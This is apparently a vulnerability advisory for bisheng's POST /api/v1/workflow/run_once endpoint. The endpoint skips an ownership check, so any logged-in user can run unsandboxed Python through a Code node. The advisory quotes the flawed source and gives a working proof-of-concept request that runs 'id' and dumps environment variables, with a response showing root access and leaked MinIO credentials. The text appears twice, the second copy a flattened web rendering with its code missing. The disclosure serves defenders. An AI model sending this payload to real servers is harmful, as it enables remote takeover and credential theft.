reported https://github.com/dataelement/bisheng/security/advisories/GHSA-m3hr-jphq-xx9p/ on 1 June 2026 but no response.
Summary
The POST /api/v1/workflow/run_once endpoint executes a single workflow node on behalf of the caller. The service layer does not verify that the calling user owns or has access to the specified workflow. Any authenticated user can run a Code node (which executes arbitrary unsandboxed Python via exec()) against any workflow ID on the server, achieving remote code execution. The attack requires only a valid session token for any account.
Details
The API route in src/backend/bisheng/api/v1/workflow.py (lines 137-144) requires authentication but passes the request directly to WorkFlowService.run_once without an ownership or access check:
@router.post('/run_once', status_code=200)
def run_once(request: Request, login_user: UserPayload = Depends(UserPayload.get_login_user),
node_input: Optional[dict] = None,
node_data: dict = None,
workflow_id: str = Body(..., description='The WorkflowID')):
result = WorkFlowService.run_once(login_user, node_input, node_data, workflow_id)
WorkFlowService.run_once in src/backend/bisheng/api/services/workflow.py (lines 136-142) only checks if the workflow exists, not if the caller may access it:
@classmethod
def run_once(cls, login_user, node_input, node_data, workflow_id):
workflow_info = FlowDao.get_flow_by_id(workflow_id)
if not workflow_info:
raise NotFoundError()
# No access check here -- any authenticated user proceeds
node_data = BaseNodeData(**node_data.get('data', {}))
...
node = NodeFactory.instance_node(node_type=node_data.type, ...)
Compare with PATCH /api/v1/workflow/update/{flow_id}, which correctly gates access:
if not await login_user.async_access_check(db_flow.user_id, flow_id, AccessType.WORKFLOW_WRITE):
return UnAuthorizedError.return_resp()
The Code node (workflow/nodes/code/code.py and code_parse.py) executes user-supplied Python using exec() with no sandbox:
def parse_functions(self, node: ast.FunctionDef) -> None:
compiled_func = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(compiled_func, self.exec_globals, self.exec_locals)
The node_data payload (including the Python code) comes entirely from the request body -- there is no server-side code stored for the referenced workflow that is used instead. The workflow_id only gates a database lookup confirming the workflow exists; the actual code to run is provided inline by the attacker.
PoC
Prerequisites: a valid session token for any regular (non-admin) bisheng account.
Step 1 -- Obtain any workflow ID (a known ID of any workflow on the server, or enumerate via /api/v1/workflow/list).
Step 2 -- Execute arbitrary Python as the server process:
POST /api/v1/workflow/run_once HTTP/1.1
Host: <target>:7860
Cookie: access_token_cookie=<any_valid_token>
Content-Type: application/json
{
"workflow_id": "<any_valid_workflow_id>",
"node_input": {"x": 1},
"node_data": {
"data": {
"id": "rce_node",
"type": "code",
"name": "RCE",
"description": "",
"group_params": [
{
"group_name": "params",
"params": [
{"key": "code_input", "value": [{"key": "x", "value": 1, "type": "input"}]},
{"key": "code", "value": "def main(x):\n import os, socket\n return {'hostname': socket.gethostname(), 'whoami': os.popen('id').read(), 'env': str(os.environ)}\n"},
{"key": "code_output", "value": [{"key": "hostname", "value": "", "type": "output"}, {"key": "whoami", "value": "", "type": "output"}, {"key": "env", "value": "", "type": "output"}]}
]
}
]
}
}
}
Response (HTTP 200):
{
"status_code": 200,
"status_message": "SUCCESS",
"data": [[{"key": "code_output", "value": {"hostname": "...", "whoami": "uid=0(root) ...", "env": "..."}, "type": "params"}]]
}
Confirmed output on the test server showed "env":"minioadmin" (the server's MinIO credentials from environment variables).
Impact
Any authenticated user -- including a guest or trial account with minimal permissions -- can execute arbitrary Python code on the server with the privileges of the bisheng backend process (typically root inside the container). The attacker gains full read/write access to the filesystem, environment variables (containing database and MinIO credentials), and the network. Combined with the hardcoded JWT secret vulnerability (finding 001), an unauthenticated attacker can obtain a valid token and then achieve unauthenticated RCE.
reported https://github.com/dataelement/bisheng/security/advisories/GHSA-m3hr-jphq-xx9p/ on 1 June 2026 but no response.
Summary
The
POST /api/v1/workflow/run_onceendpoint executes a single workflow node on behalf of the caller. The service layer does not verify that the calling user owns or has access to the specified workflow. Any authenticated user can run a Code node (which executes arbitrary unsandboxed Python viaexec()) against any workflow ID on the server, achieving remote code execution. The attack requires only a valid session token for any account.Details
The API route in
src/backend/bisheng/api/v1/workflow.py(lines 137-144) requires authentication but passes the request directly toWorkFlowService.run_oncewithout an ownership or access check:WorkFlowService.run_onceinsrc/backend/bisheng/api/services/workflow.py(lines 136-142) only checks if the workflow exists, not if the caller may access it:Compare with
PATCH /api/v1/workflow/update/{flow_id}, which correctly gates access:The Code node (
workflow/nodes/code/code.pyandcode_parse.py) executes user-supplied Python usingexec()with no sandbox:The
node_datapayload (including the Python code) comes entirely from the request body -- there is no server-side code stored for the referenced workflow that is used instead. Theworkflow_idonly gates a database lookup confirming the workflow exists; the actual code to run is provided inline by the attacker.PoC
Prerequisites: a valid session token for any regular (non-admin) bisheng account.
Step 1 -- Obtain any workflow ID (a known ID of any workflow on the server, or enumerate via
/api/v1/workflow/list).Step 2 -- Execute arbitrary Python as the server process:
Response (HTTP 200):
{ "status_code": 200, "status_message": "SUCCESS", "data": [[{"key": "code_output", "value": {"hostname": "...", "whoami": "uid=0(root) ...", "env": "..."}, "type": "params"}]] }Confirmed output on the test server showed
"env":"minioadmin"(the server's MinIO credentials from environment variables).Impact
Any authenticated user -- including a guest or trial account with minimal permissions -- can execute arbitrary Python code on the server with the privileges of the bisheng backend process (typically root inside the container). The attacker gains full read/write access to the filesystem, environment variables (containing database and MinIO credentials), and the network. Combined with the hardcoded JWT secret vulnerability (finding 001), an unauthenticated attacker can obtain a valid token and then achieve unauthenticated RCE.